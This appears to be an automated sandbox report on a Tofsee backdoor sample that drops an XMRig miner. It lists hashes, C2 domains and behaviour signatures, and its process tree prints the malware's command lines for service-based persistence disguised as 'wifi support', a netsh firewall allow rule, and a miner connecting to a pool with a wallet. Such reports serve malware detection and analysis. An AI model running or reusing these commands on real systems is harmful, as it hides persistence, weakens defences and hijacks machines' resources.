Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    05-06-2022 06:48

General

  • Target

    d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54.exe

  • Size

    310KB

  • MD5

    f4358961b07728cc44078646e18d5b6e

  • SHA1

    b4e7752ceab9deb4b8a6d7fd36e01c094415e7be

  • SHA256

    d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54

  • SHA512

    6585aa068226d064e80e63101f07d9a1739b6acf214a1a00f6be4b4f4e29a865cba6f66fcec87a58dadfed5adcbf9fea4a3739279f99eb9e933f3e47446fbbc6

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54.exe
    "C:\Users\Admin\AppData\Local\Temp\d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pnwfvaad\
      2⤵
        PID:3304
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\enphfkvw.exe" C:\Windows\SysWOW64\pnwfvaad\
        2⤵
          PID:1560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pnwfvaad binPath= "C:\Windows\SysWOW64\pnwfvaad\enphfkvw.exe /d\"C:\Users\Admin\AppData\Local\Temp\d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2680
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pnwfvaad "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pnwfvaad
          2⤵
          • Launches sc.exe
          PID:1260
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:32
      • C:\Windows\SysWOW64\pnwfvaad\enphfkvw.exe
        C:\Windows\SysWOW64\pnwfvaad\enphfkvw.exe /d"C:\Users\Admin\AppData\Local\Temp\d01521ed9d8c3f8ae7c8271488329390e28f8bb8f1a841355c591abfd815dc54.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:304
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1372
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3504

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\enphfkvw.exe
        Filesize

        11.4MB

        MD5

        9bfcd2e17c3600b08a0f43a851ec496e

        SHA1

        3e9b9796d182c4a94a747b2db3cc3a1d239d86ad

        SHA256

        5402b463ac6269a1a3c9c157407308349d165eebc981d965bf67dc6739c64f08

        SHA512

        249154870be847912c5020f72aba00f3711a0022c4ca682a7b208e4fb675068f20c4450f5a0e6980882920f4a774108e7aa60da01a7da3049a36a1ad151e67a1

      • C:\Windows\SysWOW64\pnwfvaad\enphfkvw.exe
        Filesize

        11.4MB

        MD5

        9bfcd2e17c3600b08a0f43a851ec496e

        SHA1

        3e9b9796d182c4a94a747b2db3cc3a1d239d86ad

        SHA256

        5402b463ac6269a1a3c9c157407308349d165eebc981d965bf67dc6739c64f08

        SHA512

        249154870be847912c5020f72aba00f3711a0022c4ca682a7b208e4fb675068f20c4450f5a0e6980882920f4a774108e7aa60da01a7da3049a36a1ad151e67a1

      • memory/32-216-0x0000000000000000-mapping.dmp
      • memory/304-300-0x000000000071C000-0x000000000072D000-memory.dmp
        Filesize

        68KB

      • memory/304-304-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/304-283-0x0000000000500000-0x000000000064A000-memory.dmp
        Filesize

        1.3MB

      • memory/304-280-0x000000000071C000-0x000000000072D000-memory.dmp
        Filesize

        68KB

      • memory/872-194-0x0000000000000000-mapping.dmp
      • memory/1260-205-0x0000000000000000-mapping.dmp
      • memory/1372-488-0x00000000005C0000-0x00000000005D5000-memory.dmp
        Filesize

        84KB

      • memory/1372-384-0x00000000005C0000-0x00000000005D5000-memory.dmp
        Filesize

        84KB

      • memory/1372-296-0x00000000005C9A6B-mapping.dmp
      • memory/1560-176-0x0000000000000000-mapping.dmp
      • memory/1560-177-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/1560-178-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/1560-180-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/1560-179-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/1560-181-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/2680-190-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/2680-185-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/2680-184-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/2680-187-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/2680-186-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/2680-183-0x0000000000000000-mapping.dmp
      • memory/2680-188-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/2680-189-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-140-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-133-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-148-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-149-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-150-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-151-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-152-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-153-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-154-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-155-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-156-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-157-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-158-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-159-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-160-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-161-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-162-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-164-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-163-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/3152-165-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-166-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-167-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-168-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-169-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-120-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-121-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-122-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-123-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-124-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-125-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-145-0x0000000000650000-0x0000000000663000-memory.dmp
        Filesize

        76KB

      • memory/3152-146-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-144-0x0000000000500000-0x00000000005AE000-memory.dmp
        Filesize

        696KB

      • memory/3152-143-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-142-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-119-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-141-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-139-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-138-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-137-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-136-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-135-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-134-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-147-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-132-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-131-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-130-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-129-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-128-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3152-220-0x0000000000650000-0x0000000000663000-memory.dmp
        Filesize

        76KB

      • memory/3152-223-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/3152-127-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3304-175-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3304-174-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3304-173-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3304-172-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3304-171-0x0000000077440000-0x00000000775CE000-memory.dmp
        Filesize

        1.6MB

      • memory/3304-170-0x0000000000000000-mapping.dmp
      • memory/3504-523-0x000000000290259C-mapping.dmp